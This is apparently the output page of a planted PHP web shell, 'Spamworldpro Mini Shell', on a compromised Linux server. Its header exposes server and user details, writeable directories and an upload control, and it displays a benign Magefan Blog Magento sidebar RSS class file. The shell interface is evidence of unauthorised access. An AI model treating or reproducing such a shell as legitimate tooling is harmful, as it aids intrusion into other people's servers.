Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magefan/module-blog/Block/Sidebar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magefan/module-blog/Block/Sidebar/Rss.php
<?php
/**
 * Copyright © Magefan ([email protected]). All rights reserved.
 * Please visit Magefan.com for license details (https://magefan.com/end-user-license-agreement).
 *
 * Glory to Ukraine! Glory to the heroes!
 */

namespace Magefan\Blog\Block\Sidebar;

/**
 * Blog sidebar rss
 */
class Rss extends \Magento\Framework\View\Element\Template
{
    use Widget;

    /**
     * @var string
     */
    protected $_widgetKey = 'rss_feed';

    /**
     * Available months
     * @var array
     */
    protected $_months;

    /**
     * @var \Magefan\Blog\Model\Url
     */
    private $blogUrl;

    /**
     * Generate url by route and parameters
     *
     * @param   string $route
     * @param   array $params
     * @return  string
     */
    public function getUrl($route = '', $params = [])
    {
        if ('blog/rss/feed' == $route && empty($params)) {
             return $this->getBlogUrl()->getUrl('feed', 'rss');
        }
        return parent::getUrl($route, $params);
    }


    /**
     * Retrieve blog url model
     *
     * @return  \Magefan\Blog\Model\Url
     */
    private function getBlogUrl()
    {
        if (null === $this->blogUrl) {
            $this->blogUrl = \Magento\Framework\App\ObjectManager::getInstance()
                ->get(\Magefan\Blog\Model\Url::class);
        }

        return $this->blogUrl;
    }
}

Spamworldpro Mini